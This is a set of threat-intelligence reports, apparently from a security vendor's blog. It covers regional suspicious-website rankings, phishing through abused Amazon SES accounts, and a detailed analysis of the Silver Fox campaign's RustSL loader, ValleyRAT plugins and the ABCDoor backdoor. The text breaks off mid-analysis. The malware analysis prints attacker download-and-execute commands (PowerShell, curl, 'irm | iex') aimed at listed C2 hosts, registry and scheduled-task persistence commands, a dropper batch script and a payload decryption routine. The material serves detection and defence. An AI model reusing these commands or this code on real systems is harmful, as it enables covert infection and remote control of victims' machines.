A significant portion of suspicious sites in Europe consists of intermediary sites for phishing and spam, fake security extensions, and crypto scams. Unofficial sales services and paid trading tools are also on the list. The primary threats in the European region include session hijacking, data theft, spam, and investment fraud.

Canada

Distribution of the TOP 10 suspicious websites in Canada, January 2026 (download)

Canada has been designated as a separate region to illustrate prevailing trends within North America. The first four positions in the Canadian TOP 10 are held by multiregional domains discussed previously. In fifth place is *t*c*.com (10.88%), which also appears in the TOP 10 rankings for Oceania and South Asia. This is yet another browser extension masquerading as a security solution. Occupying the final spot is the domain *e*w*.com (0.17%), which is unique to the Canadian market. This site operates a dropshipping scam, offering products at prices significantly below market value. Customers typically either never receive their orders or get low-quality counterfeits.

The landscape of dubious websites in Canada is largely defined by fraudulent extensions capable of hijacking browser data, tracking user activity, spoofing search queries, harvesting cookies, and injecting ads. This is further compounded by dropshipping schemes involving counterfeit goods. The primary risks for users in Canada include data theft and financial loss from purchasing substandard products.

Oceania

Distribution of the TOP 10 suspicious websites in Oceania, January 2026 (download)

The final region under consideration is Oceania. Notably, we didn’t identify a single domain unique to this region. Every site appearing in the TOP 10 represents a global threat that’s already been detailed in previous sections. To summarize the findings for this region: the primary threats consist of fake security extensions and privacy products designed for browser hijacking, tracking user activity, displaying advertisements, and stealing data. There’s a minimal presence of crypto Ponzi schemes in this area. The main risk for users in Oceania is the loss of privacy and confidentiality through unwanted apps.

Conclusion

Suspicious websites are particularly dangerous because they often masquerade as legitimate sites with high levels of persuasiveness. They mimic online stores, subscription-based streaming platforms, repair firms, and various other services. Unlike standard phishing sites, they employ more sophisticated manipulations to deceive users, tricking them into voluntarily handing over their personal data and transferring funds.

By examining the TOP 10 suspicious sites across the world’s major regions, we can draw several conclusions. On average, the most prevalent threats globally are fraudulent extensions masquerading as security solutions and privacy services. Their true purpose is to hijack browser data, track user activity, and display ads. We also frequently encounter phishing platforms for image processing and financial scams involving trading, cryptocurrency, betting, and microloans. Our statistics demonstrate that these sites not only employ classic fraudulent schemes centered on easy money but also adapt to contemporary trends targeting younger audiences and specific regional characteristics. The primary risks for users interacting with these sites are a combination of privacy threats and financial loss.

To help protect users from these shady sites, we’ve introduced the category of “websites with an undefined trust level” as part of the web filtering features in our solutions. However, it’s important to note that user awareness and individual responsibility play a significant role in ensuring safe web browsing. It’s essential for users to be able to recognize suspicious sites and remain vigilant toward any that appear untrustworthy.

Introduction

The primary goal for attackers in a phishing campaign is to bypass email security and trick the potential victim into revealing their data. To achieve this, scammers employ a wide range of tactics, from redirect links to QR codes. Additionally, they heavily rely on legitimate sources for malicious email campaigns. Specifically, we’ve recently observed an uptick in phishing attacks leveraging Amazon SES.

The dangers of Amazon SES abuse

Amazon Simple Email Service (Amazon SES) is a cloud-based email platform designed for highly reliable transactional and marketing message delivery. It integrates seamlessly with other products in Amazon’s cloud ecosystem, AWS.

At first glance, it might seem like just another delivery channel for email phishing, but that isn’t the case. The insidious nature of Amazon SES attacks lies in the fact that attackers aren’t using suspicious or dangerous domains; instead, they are leveraging infrastructure that both users and security systems have grown to trust. These emails utilize SPF, DKIM, and DMARC authentication protocols, passing all standard provider checks, and almost always contain .amazonses.com in the Message-ID headers. Consequently, from a technical standpoint, every email sent via Amazon SES – even a phishing one – looks completely legitimate.

Phishing URLs can be masked with redirects: a user sees a link like amazonaws.com in the email and clicks it with confidence, only to be sent to a phishing site rather than a legitimate one. Amazon SES also allows for custom HTML templates, which attackers use to craft more convincing emails. Because this is legitimate infrastructure, the sender’s IP address won’t end up on reputation-based blocklists. Blocking it would restrict all incoming mail sent through Amazon SES. For major services, that kind of measure is ineffective, as it would significantly disrupt user workflows due to a massive number of false positives.

How compromise happens

In most cases, attackers gain access to Amazon SES through leaked IAM (AWS Identity and Access Management) access keys. Developers frequently leave these keys exposed in public GitHub repositories, ENV files, Docker images, configuration backups, or even in publicly accessible S3 buckets. To hunt for these IAM keys, phishers use various tools, such as automated bots based on the open-source utility TruffleHog, which is designed for detecting leaked secrets. After verifying the key’s permissions and email sending limits, attackers are equipped to spread a massive volume of phishing messages.

Examples of phishing with Amazon SES

In early 2026, one of the most common themes in phishing emails sent with Amazon SES was fake notifications from electronic signature services.

Phishing email imitating a Docusign notification

The email’s technical headers confirm that it was sent with Amazon SES. At first glance, it all looks legitimate enough.

Phishing email headers

In these emails, the victim is typically asked to click a link to review and sign a specific document.

Phishing email with a “document”

Upon clicking the link, the user is directed to a sign-in form hosted on amazonaws.com. This can easily mislead the victim, convincing them that what they’re doing is safe.

Phishing sign-in form

The resulting form is, of course, a phishing page, and any data entered into it goes directly to the attackers.

Amazon SES and BEC

However, Amazon SES is used for more than just standard phishing; it’s also a vehicle for a very sophisticated type of BEC campaigns. In one case we investigated, a fraudulent email appeared to contain a series of messages exchanged between an employee of the target organization and a service provider about an outstanding invoice. The email was sent as if from that employee to the company’s finance department, requesting urgent payment.

BEC email featuring a fake conversation between an employee and a vendor

The PDF attachments didn’t contain any malicious phishing URLs or QR codes, only payment details and supporting documentation.

Forged financial documents

Naturally, the email didn’t originate with the employee, but with an attacker impersonating them. The entire thread quoted within the email was actually fabricated, with the messages formatted to appear as a legitimate forwarded thread to a cursory glance. This type of attack aims to lower the user’s guard and trick them into transferring funds to the scammers’ account.

Takeaways

Phishing via Amazon SES experienced an uptick in January 2026 and has remained relatively steady through Q1. By weaponizing this service, attackers avoid the effort of building dubious domains and mail infrastructure from scratch. Instead, they hijack existing access keys to gain the ability to blast out thousands of phishing emails. These messages pass email authentication, originate from IP addresses that are unlikely to be blocklisted, and contain links to phishing forms that look entirely legitimate.

Since these Amazon SES phishing attacks stem from compromised or leaked AWS credentials, prioritizing the security of these accounts is critical. To mitigate these risks, we recommend following these guidelines:

• Implement the principle of least privilege when configuring IAM access keys, granting elevated permissions only to users who require them for specific tasks.
• Transition from IAM access keys to roles when configuring AWS; these are profiles with specific permissions that can be assigned to one or several users.
• Enable multi-factor authentication, an ever-relevant step.
• Configure IP-based access restrictions.
• Set up automated key rotation and run regular security audits.
• Use the AWS Key Management Service to encrypt data with unique cryptographic keys and manage them from a centralized location.

We recommend that users remain vigilant when handling email. Do not determine whether an email is safe based solely on the From field. If you receive unexpected documents via email, a prudent precaution is to verify the request with the sender through a different communication channel. Always carefully inspect where links in the body of an email actually lead. Additionally, robust email security solutions can provide an essential layer of protection for both corporate and personal correspondence.

In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group.

Both waves followed a nearly identical structure: phishing emails were styled as official notices regarding tax audits or prompted users to download an archive containing a “list of tax violations”. Inside the archive was a modified Rust-based loader pulled from a public repository. This loader would download and execute the well-known ValleyRAT backdoor. The campaign impacted organizations across the industrial, consulting, retail, and transportation sectors, with over 1600 malicious emails recorded between early January and early February.

During our investigation, we also discovered that the attackers were delivering a new ValleyRAT plugin to victim devices, which functioned as a loader for a previously undocumented Python-based backdoor. We have named this backdoor ABCDoor. Retrospective analysis reveals that ABCDoor has been part of the Silver Fox arsenal since at least late 2024 and has been utilized in real-world attacks from the first quarter of 2025 to the present day.

Email campaign

In the January campaign, victims received an email purportedly from the tax service with an attached PDF file.

Phishing email sent to victims in Russia

The PDF contained two clickable links to download an archive, both leading to a malicious website: abc.haijing88[.]com/uploads/фнс/фнс.zip.

Contents of the PDF file from the January phishing wave

Contents of the фнс.zip archive

In the December campaign, the malicious code was embedded directly within the files attached to the email.

Phishing email sent to victims in India

The email shown in the screenshot above was sent via the SendGrid cloud platform and contained an archive named ITD.-.rar. Inside was a single executable file, Click File.exe, with an Adobe PDF icon (the RustSL loader).

Contents of ITD.-.rar

Additionally, in late December, emails were distributed with an attachment titled GST.pdf containing two links leading to hxxps://abc.haijing88[.]com/uploads/印度邮箱/CBDT.rar. (印度邮箱 translates from Chinese as “Indian mailbox”).

PDF file from the phishing email

Both versions of the campaign attempt to exploit the perceived importance of tax authority correspondence to convince the victim to download the document and initiate the attack chain. The method of using download links within a PDF is specifically designed to bypass email security gateways; since the attached document only contains a link that requires further analysis, it has a higher probability of reaching the recipient compared to an attachment containing malicious code.

RustSL loader

The attackers utilized a modified version of a Rust-based loader called RustSL, whose source code is publicly available on GitHub with a description in Chinese:

Screenshot of the description from the RustSL loader GitHub project

The description also refers to RustSL as an antivirus bypass framework, as it features a builder with extensive customization options:

• Eight payload encryption methods
• Thirteen memory allocation methods
• Twelve sandbox and virtual machine detection techniques
• Thirteen payload execution methods
• Five payload encoding methods

Furthermore, the original version of RustSL encrypts all strings by default and inserts junk instructions to complicate analysis.

The Silver Fox APT group first began using a modified version of RustSL in late December 2025.

Silver Fox RustSL

This section examines the key changes the Silver Fox group introduced to RustSL. We will refer to this customized version as Silver Fox RustSL to distinguish it from the original.

The steganography.rs module

The attackers added a module named steganography.rs to RustSL. Despite the name, it has little to do with actual steganography; instead, it implements the unpacking logic for the malicious payload.

The usage of the new module within the Silver Fox RustSL code

The threat actors also modified the RustSL builder to support the new format and payload packing.

The attackers employed several methods to deliver the encrypted malicious payload. In December, we observed files being downloaded from remote hosts followed by delivery within the loader itself. Later, the attackers shifted almost entirely to placing the malicious payload inside the same archive as the loader, disguised as a standalone file with extensions like PNG, HTM, MD, LOG, XLSX, ICO, CFG, MAP, XML, or OLD.

Encrypted malicious payload format

The encrypted payload file delivered by the Silver Fox RustSL loader followed this structure:

<RSL_START>rsl_encrypted_payload<RSL_END>

If additional payload encoding was selected in the builder, the loader would decode the data before proceeding with decryption.

The rsl_encrypted_payload followed this specific format:

char sha256_hash[32]; // decrypted payload hash DWORD enc_payload_len; WORD sgn_decoder_size; char sgn_iterations; char sgn_key; char decoder[sgn_decoder_size]; char enc_payload[enc_payload_len];

Below is a description of the data blocks contained within it:

• sha256_hash: the hash of the decrypted payload. After decryption, the loader calculates the SHA256 hash and compares it against this value; if they do not match, the process terminates.
• enc_payload_len: the size of the encrypted payload
• sgn_iterations and sgn_key: parameters used for decryption
• sgn_decoder_size and decoder: unused fields
• enc_payload: the primary payload

Notably, the new proprietary steganography.rs module was implemented using the same logic as the public RustSL modules (such as ipv4.rs, ipv6.rs, mac.rs, rc4.rs, and uuid.rs in the decrypt directory). It utilized a similar payload structure where the first 32 bytes consist of a SHA-256 hash and the payload size.

To decrypt the malicious payload, steganography.rs employed a custom XOR-based algorithm. Below is an equivalent implementation in Python:

def decrypt(data: bytes, sgn_key: int, sgn_iterations: int) -> bytes: buf = bytearray(data) xor_key = sgn_key & 0xFF for _ in range(sgn_iterations): k = xor_key for i in range(len(buf)): dec = buf[i] ^ k if k & 1: k = (dec ^ ((k >> 1) ^ 0xB8)) & 0xFF else: k = (dec ^ (k >> 1)) & 0xFF buf[i] = dec return bytes(buf)

The unpacking process consists of the following stages:

1. Extraction of rsl_encrypted_payload.The loader extracts the encrypted payload body located between the <RSL_START> and <RSL_END> markers.

   Original file containing the encrypted malicious payload

2. XOR decryption with a hardcoded key.Most loaders used the hardcoded key RSL_STEG_2025_KEY.
3. Payload decoding occurs if the corresponding setting was enabled in the builder.The GitHub version of the builder offers several encoding options: Base64, Base32, Hex, and urlsafe_base64. Silver Fox utilized each option at least once. Base64 was the most frequent choice, followed by Hex and Base32, with urlsafe_base64 appearing in a few samples.

   Encrypted malicious payload prior to the final decryption stage

4. Decryption of the final payload using a multi-pass XOR algorithm that modifies the key after each iteration (as demonstrated in the Python algorithm provided above).

The guard.rs module

Another module added to Silver Fox RustSL is guard.rs. It implements various environment checks and country-based geofencing.

In the earliest loader samples from late December 2025, the Silver Fox group utilized every available method for detecting virtual machines and sandboxes, while also verifying if the device was located in a target country. In later versions, the group retained only the geolocation check; however, they expanded both the list of countries allowed for execution and the services used for verification.

The GitHub version of the loader only includes China in its country list. In customized Silver Fox loaders built prior to January 19, 2026, this list included India, Indonesia, South Africa, Russia, and Cambodia. Starting with a sample dated January 19, 2026 (MD5: e6362a81991323e198a463a8ce255533), Japan was added to the list.

To determine the host country, Silver Fox RustSL sends requests to five public services:

• ip-api.com (the GitHub version relies solely on this service)
• ipwho.is
• ipinfo.io
• ipapi.co
• www.geoplugin.net

Phantom Persistence

We discovered that a loader compiled on January 7, 2026 (MD5: 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), began to use the recently documented Phantom Persistence technique to establish persistence. This method abuses functionality designed to allow applications requiring a reboot for updates to complete the installation process properly. The attackers intercept the system shutdown signal, halt the normal shutdown sequence, and trigger a reboot under the guise of an update for the malware. Consequently, the loader forces the system to execute it upon OS startup. This specific sample was compiled in debug mode and logged its activity to rsl_debug.log, where we identified strings corresponding to the implementation of the Phantom Persistence technique:

[unix_timestamp] God-Tier Telemetry Blinding: Deployed via HalosGate Indirect Syscalls. [unix_timestamp] RSL started in debug mode. [unix_timestamp] ========================================== [unix_timestamp] Phantom Persistence Module (Hijack Mode) [unix_timestamp] ========================================== [unix_timestamp] [*] Calling RegisterApplicationRestart... [unix_timestamp] [+] RegisterApplicationRestart succeeded. [unix_timestamp] [*] Note: This API mainly works for application crashes, not for user-initiated shutdowns. [unix_timestamp] [*] For full persistence, you need to trigger the shutdown hijack logic. [unix_timestamp] [*] Starting message thread to monitor shutdown events... [unix_timestamp] [+] SetProcessShutdownParameters (0x4FF) succeeded. [unix_timestamp] [+] Window created successfully, message loop started. [unix_timestamp] [+] Phantom persistence enabled successfully. [unix_timestamp] [*] Hijack logic: Shutdown signal -> Abort shutdown -> Restart with EWX_RESTARTAPPS. [unix_timestamp] Phantom persistence enabled. [unix_timestamp] Mouse movement check passed. [unix_timestamp] IP address check passed. [unix_timestamp] Pass Sandbox/VM detection.

Attack chain and payloads

During this phishing campaign, Silver Fox utilized two primary methods for delivering malicious archives:

• As an email attachment
• Via a link to an external attacker-controlled website contained within a PDF attachment

We also observed three different ways the payload was positioned relative to the loader:

• Embedded within the loader body
• Hosted on an external website as a PNG image
• Placed within the same archive as the loader

The diagram below illustrates the attack chain using the example of an email containing a PDF file and the subsequent delivery of a malicious payload from an external attacker-controlled website.

Attack chain of the campaign utilizing the RustSL loader

The infection chain begins when the user runs an executable file (the Silver Fox modification of the RustSL loader) disguised with a PDF or Excel icon. RustSL then loads an encrypted payload, which functions as shellcode. This shellcode then downloads an encrypted ValleyRAT (also known as Winos 4.0) backdoor module named 上线模块.dll from the attackers’ server. The filename translates from Chinese as “online-module.dll”, so for the sake of clarity, we’ll refer to it as the Online module.

Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module

The Online module proceeds to load the core component of ValleyRAT: the Login module (the original filename 登录模块.dll_bin translates from Chinese as “login-module.dll_bin”). This module manages C2 server communication, command execution, and the downloading and launching of additional modules.

The initial shellcode, as well as the Online and Login modules, utilize a configuration located at the end of the shellcode:

End of the decrypted payload: ValleyRAT (Winos 4.0) configuration

The values between the “|” delimiters are written in reverse order. By restoring the correct character sequence, we obtain the following string:

|p1:207.56.138[.]28|o1:6666|t1:1|p2:127.0.0.1|o2:8888|t2:1|p3:127.0.0.1|o3:80|t3:1|dd:1|cl:1|fz:飘诈|bb:1.0|bz:2025.11.16|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0|

The key configuration parameters in this string are:

• p#, o#: IP addresses and ports of the ValleyRAT C2 servers in descending order of priority
• bz: the creation date of the configuration

The Silver Fox group has long employed the infection chain described above – from the encrypted shellcode through the loading of the Login module – to deploy ValleyRAT. This procedure and its configuration parameters are documented in detail in industry reports: (1, 2, and 3).

Once the Login module is running, ValleyRAT enters command-processing mode, awaiting instructions from the C2. These commands include the retrieval and execution of various additional modules.

ValleyRAT utilizes the registry to store its configurations and modules:

Registry key Description HKCU:\Console\0 For x86-based modules HKCU:\Console\1 For x64-based modules HKCU:\Console\IpDate Hardcoded registry location checked upon Login module startup HKCU:\Software\IpDates_info Final configuration

The ValleyRAT builder leaked in March 2025 contained 20 primary and over 20 auxiliary modules. During this specific phishing campaign, we discovered that after the main module executed, it loaded two previously unseen modules with similar functionality. These modules were responsible for downloading and launching a previously undocumented Python-based backdoor we have dubbed ABCDoor.

Custom ValleyRAT modules

The discovered modules are named 保86.dll and 保86.dll_bin. Their parameters are detailed in the table below.

HKCU:\Console\0 registry key value Module name Library MD5 hash Compiled date and time (UTC) fc546acf1735127db05fb5bc354093e0 保86.dll 4a5195a38a458cdd2c1b5ab13af3b393 2025-12-04 04:34:31 fc546acf1735127db05fb5bc354093e0 保86.dll e66bae6e8621db2a835fa6721c3e5bbe 2025-12-04 04:39:32 2375193669e243e830ef5794226352e7 保86.dll_bin e66bae6e8621db2a835fa6721c3e5bbe 2025-12-04 04:39:32

Of particular note is the PDB path found in all identified modules: C:\Users\Administrator\Desktop\bat\Release\winos4.0测试插件.pdb. In Chinese, 测试插件 translates to “test plugin”, which may suggest that these modules are still in development.

Upon execution, the 保86.dll module determines the host country by querying the same five services used by the guard.rs module in Silver Fox RustSL: ipinfo.io, ip-api.com, ipapi.co, ipwho.is, and geoplugin.net. For the module to continue running, the infected device must be located in one of the following countries:

Countries where the 保86.dll module functions

If the geolocation check passes, the module attempts to download a 52.5 MB archive from a hardcoded address using several methods. The sample with MD5 4a5195a38a458cdd2c1b5ab13af3b393 queried hxxp://154.82.81[.]205/YD20251001143052.zip, while the sample with MD5 e66bae6e8621db2a835fa6721c3e5bbe queried
hxxp://154.82.81[.]205/YN20250923193706.zip.

Interestingly, Silver Fox updated the YD20251001143052.zip archive multiple times but continued to host it on the same C2 (154.82.81[.]205) without changing the filename.

The module implements the following download methods:

1. Using the InternetReadFile function with the User-Agent PythonDownloader
2. Using the URLDownloadToFile function
3. Using PowerShell:
   powershell.exe -Command "& {[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $ProgressPreference = 'SilentlyContinue'; try { Invoke-WebRequest -Uri 'hxxp://154.82.81[.]205/YD20251001143052.zip' -OutFile '$appdata\appclient\111.zip' -UseBasicParsing -TimeoutSec 600 } catch { exit 1 } }"
4. Using curl:
   curl.exe -L -o "%LOCALAPPDATA%\appclient\111.zip" "hxxp://154.82.81[.]205/YD20251001143052.zip" --silent --show-error --insecure --max-time 600

The archive was saved to the path %LOCALAPPDATA%\appclient\111.zip.

Contents of the 111.zip archive

The archive is quite large because the python directory contains a Python environment with the packages required to run the previously unknown ABCDoor backdoor (which we will describe in the next section), while the ffmpeg directory includes ffmpeg.exe, a statically linked, legitimate audio/video tool that the backdoor uses for screen capturing.

Once downloaded, the DLL module extracts the archive using COM methods and runs the following command to execute update.bat:

cmd.exe /c "C:\Users\<user>\AppData\Local\appclient\update.bat"

The update.bat script copies the extracted files to C:\ProgramData\Tailscale. This path was chosen intentionally: it corresponds to the legitimate utility Tailscale (a mesh VPN service based on the WireGuard protocol that connects devices into a single private network). By mimicking a VPN service, the attackers likely aim to mask their presence and complicate the analysis of the compromised system.

@echo off set "script_dir=%~dp0" set SRC_DIR=%script_dir% set DES_DIR=C:\ProgramData\Tailscale rmdir /s /q "%DES_DIR%" mkdir "%DES_DIR%" call :recursiveCopy "%SRC_DIR%" "%DES_DIR%" start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient exit /b :recursiveCopy set "src=%~1" set "dest=%~2" if not exist "%dest%" mkdir "%dest%" for %%F in ("%src%\*") do ( copy "%%F" "%dest%" >nul ) for /d %%D in ("%src%\*") do ( call :recursiveCopy "%%D" "%dest%\%%~nxD" ) exit /b

Contents of update.batAfter copying the files, the script launches the appclient Python module using the legitimate pythonw tool:

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient

ABCDoor Python backdoor

The primary entry point for the appclient module, the __main__.py file, contains only a few lines of code. These lines are responsible for utilizing the setproctitle library and executing the run function, to which the C2 address is passed as a parameter.

Code for main.py: the module entry point

The setproctitle library is primarily used on Linux or macOS systems to change a displayed process name. However, its functionality is significantly limited on Windows; rather than changing the process name itself, it creates a named object in the format python(<pid>): <proctitle>. For example, for the appclient module, this object would appear as follows:

\Sessions\1\BaseNamedObjects\python(8544): AppClientABC

We believe the use of setproctitle may indicate the existence of backdoor versions for non-Windows systems, or at least plans to deploy it in such environments.

The appclient.core module has a PYD extension and is a DLL file compiled with Cython 3.0.7. This is the core module of the backdoor, which we have named ABCDoor because nearly all identified C2 addresses featured the third-level domain abc.

Upon execution, the backdoor establishes persistence in the following locations:

1. Windows registry: It adds "<path_to_pythonw.exe>" -m appclient to the value HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient, e.g:
   "C:\Users\&lt;username&gt;\AppData\Local\appclient\python\pythonw.exe" -m appclient
   Persistence is established by executing the following command:
   cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AppClient" /t REG_SZ /d "\"<path_to_pythonw.exe>\" -m appclient" /f"
2. Task scheduler: The malware executes
   cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"

The command creates a task named “AppClient” that runs every minute.

The backdoor is built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS and uses event handlers to processes messages asynchronously. The backdoor follows object-oriented programming principles and includes several distinct classes:

• MainManager: handles C2 connection and authorization (sending system metadata)
• MessageManager: registers and executes message handlers
• AutoStartManager: manages backdoor persistence
• ClientManager: handles backdoor updates and removal
• SystemInfoManager: collects data from the victim’s system, including screenshots
• RemoteControlManager: enables remote mouse and keyboard control via the pynput library and manages screen recording (using the ScreenRecorder child class)
• FileManager: performs file system operations
• KeyboardManager: emulates keyboard input
• ProcessManager: manages system processes
• ClipboardManager: exfiltrates clipboard contents to the C2
• CryptoManager: provides functions for encrypting and decrypting files and directories (currently limited to DPAPI; asymmetric encryption functions lack implementation)
• Utils: auxiliary functions (file upload/download, archive management, error log uploading, etc.)

Backdoor strings with characteristic names

Upon connecting, ABCDoor sends an auth message to the C2 with the following information in JSON format:

"role": "client", "device_info": { "device_name": device_name, "os_name": os_name, "os_version": os_version, "os_release": os_release, "device_id": device_id, "install_channel": "<channel_name_from_registry>", # optional field "first_install_time": "<install_time_from_registry>", # optional field }, "version": 157 # hard-coded ABCDoor version

The code for retrieving the device identifier (device_id) in the backdoor is somewhat peculiar:

device_id = Utility.get_machine_guid_via_file_func() device_id = Utility.get_machine_guid_via_reg()

First, the get_machine_guid_via_file_func function attempts to read an identifier from the file %LOCALAPPDATA%\applogs\device.log. If the file does not exist, it is created and initialized with a random UUID4 value. However, immediately after this, the get_machine_guid_via_reg function overwrites the identifier obtained by the first function with the value from HKLM:\SOFTWARE\Microsoft\Cryptography:MachineGuid. This likely indicates a bug in the code.

The primary characteristic of this backdoor is the absence of typical remote control features, such as creating a remote shell or executing arbitrary commands. Instead, it implements two alternative methods for manipulating the infected device:

• Emulating a double click while broadcasting the victim’s screen
• A "file_open" message within the FileManager class, which calls the os.startfile function. This executes a specified file using the ShellExecute function and the default handler for that file extension

For screen broadcasting, the backdoor utilizes a standalone ffmpeg.exe file included in the ABCDoor archive. While early versions could only stream from a single monitor, recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA). The broadcasting process relies on the screen capture functions RemoteControl::ScreenRecorder::start_single_monitor_ddagrab, RemoteControl::ScreenRecorder::start_multi_monitor_ddagrab, and RemoteControl::ScreenRecorder::test_ddagrab_support. These functions generate a lengthy string of launch arguments for ffmpeg; these arguments account for monitor orientation (vertical or horizontal) and quantity, stitching the data into a single, cohesive stream.

Because ABCDoor runs within a legitimate pythonw.exe process, it can remain hidden on a victim’s system for extended periods. However, its operation involves various interactions with the registry and file system that can be used for detection. Specifically, ABCDoor:

• Writes its initial installation timestamp to the registry value HKCU:\Software\CarEmu:FirstInstallTime
• Creates the directory and file %LOCALAPPDATA%\applogs\device.log to store the victim’s ID
• Logs any exceptions to %LOCALAPPDATA%\applogs\exception_logs.zip. Interestingly, Silver Fox even implemented a Utility::upload_exception_logs function to send this archive to a specified URI, likely to help debug and refine the malware’s performance

Additionally, ABCDoor features self-update and self-deletion capabilities that generate detectable artifacts. Updates are downloaded from a specific URI to %TEMP%\tmpXXXXXXXX\update.zip (where XXXXXXXX represents random alphanumeric characters), extracted to %TEMP%\tmpXXXXXXXX\update, and executed via a PowerShell command:

powershell -Command "Start-Sleep -Seconds 5; Start-Process -FilePath \"%TEMP%\tmpXXXXXXXX\update\update.ps1\" -ArgumentList \"%LOCALAPPDATA%\appclient\" -WindowStyle Hidden"

The existing ABCDoor process is then forcibly terminated.

ABCDoor versions

Through retrospective analysis, we discovered that the earliest version of ABCDoor (MD5: 5b998a5bc5ad1c550564294034d4a62c) surfaced in late 2024. The backdoor evolved rapidly throughout 2025. The table below outlines the primary stages of its evolution:

Version Compiled date (UTC) Key updates ABCDoor .pyd MD5 hash 121 2024.12.19 18:27:11 –  Minimal functionality (file downloads, remote control using the Graphics Device Interface (GDI) in ffmpeg)
–  No OOP used
–  Registry persistence 5b998a5bc5ad1c550564294034d4a62c 143 2025.02.04 01:15:00 Client updates
–  Task scheduler persistence
–  OOP implementation (classes)
–  Clipboard management
–  Process management
–  Asymmetric file and directory encryption c50c980d3f4b7ed970f083b0d37a6a6a 152 2025.04.01 15:39:36 –  DPAPI encryption functions
–  Chunked file uploading to C2 de8f0008b15f2404f721f76fac34456a 154 2025.05.09 13:36:24 –  Implementation of installation channels
–  Key combination emulation 9bf9f635019494c4b70fb0a7c0fb53e4 156 2025.08.11 13:36:10 –  Retrieval and logging of initial installation time to the registry a543b96b0938de798dd4f683dd92a94a 157 2025.08.28 14:23:57 –  Use of DDA source in ffmpeg for monitor screen broadcasting fa08b243f12e31940b8b4b82d3498804 157 2025.09.23 11:38:17 –  Compiled with Cython 3.0.7 (previous version used Cython 3.0.12) 13669b8f2bd0af53a3fe9ac0490499e5 Evolution of ABCDoor distribution methods

Although the first version of the backdoor appeared in late 2024, the threat actor likely began using it in attacks around February or March 2025. At that time, the backdoor was distributed using stagers written in C++ and Go:

• • C++ stagerThe file GST Suvidha.exe (MD5: 04194f8ddd0518fd8005f0e87ae96335) downloaded a loader (MD5: f15a67899cfe4decff76d4cd1677c254) from hxxps://mcagov[.]cc/download.php?type=exe. This loader then downloaded the ABCDoor archive from hxxps://abc.fetish-friends[.]com/uploads/appclient.zip, extracted it, and executed it.
  • Go stagerThe file GSTSuvidha.exe (MD5: 11705121f64fa36f1e9d7e59867b0724) executed a remote PowerShell script:
    powershell.exe -Command "irm hxxps://abc.fetish-friends[.]com/setup/install | iex"
    This script downloaded the ABCDoor archive and launched it.

Later, from May to August 2025, Silver Fox varied their delivery techniques through several methods:

• • • Utilizing TinyURL:Stagers initially queried TinyURL links, which then redirected to the full addresses for downloading the next stage:
      • hxxps://tinyurl[.]com/4nzkync8 -> hxxps://roldco[.]com/api/download/c51bbd17-ef08-4d6c-ab4c-d7bf49483dd6
      • hxxps://tinyurl[.]com/bde63yuu -> hxxps://sudsmama[.]com/api/download/c8ea0a2c-42c2-4159-9337-ee774ed5e7cb
    • Utilizing URLs with arguments formatted as channel=[word_MMDD]:
    • hxxps://abc.fetish-friends[.]com/setup?channel=jiqi_0819
    • hxxps://abc.fetish-friends[.]com/setup/install?channel=whatsapp_0826
    • hxxps://abc.fetish-friends[.]com/setup/install?channel=dianhua-0903

Thanks to these “channel” names, we identified overlaps between ABCDoor and other malicious files likely belonging to Silver Fox. These are NSIS installers featuring the branding of the Ministry of Corporate Affairs of India (responsible for regulating industrial companies and the services sector). These installers establish a connection to the attackers’ server at hxxps://vnc.kcii2[.]com, providing them with remote access to the victim’s device. Below is the list of files we identified:

• • • RemoteInstaller_20250803165259_whatsapp.exe (MD5: 4d343515f4c87b9a2ffd2f46665d2d57)
    • RemoteInstaller_20250806_004447_jiqi.exe (MD5: dfc64dd9d8f776ca5440c35fef5d406e)
    • RemoteInstaller_20250808_174554_dianhua.exe (MD5: eefc28e9f2c0c0592af186be8e3570d2)
    • MCA-Ministry.exe (MD5: 6cf382d3a0eae57b8baaa263e4ed8d00)
    • MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a)
    • MCA-Ministry.exe (MD5: d17caf6f5d6ba3393a3a865d1c43c3d2)

The file MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a) was also hosted on one of the servers used by the ABCDoor stagers and was downloaded via TinyURL:

hxxps://tinyurl[.]com/322ccxbf -> hxxps://sudsmama.com/api/download/50e24b3a-8662-4d2f-9837-8cc62aa8f697

Starting in November 2025, the attackers began using a JavaScript loader to deliver ABCDoor. This was distributed via self-extracting (SFX) archives, which were further packaged inside ZIP archives:

• • • CBDT.zip (MD5: 6495c409b59deb72cfcb2b2da983b3bb) (Related material.exe)
    • November Statement.zip (MD5: b500e0a8c87dffe6f20c6e067b51afbf) (BillReceipt.exe)
    • December Statement.zip (MD5: 814032eec3bc31643f8faa4234d0e049) (statement.exe)
    • December Statement.zip (MD5: 90257aa1e7c9118055c09d4a978d4bee) (statement verify .exe)
    • Statement of Account.zip (MD5: f8371097121549feb21e3bcc2eeea522) (Review the file.exe)

The ZIP archives were likely distributed through phishing emails. They contained one of two SFX files: BillReceipt.exe (MD5: 2b92e125184469a0c3740abcaa10350c) or Review the file.exe (MD5: 043e457726f1bbb6046cb0c9869dbd7d), which differed only in their icons.

Icons of the SFX archives

When executed, the SFX archive ran the following script:

SFX archive script

This script launched run_direct.ps1, a PowerShell script contained within the archive.

The run_direct.ps1 script

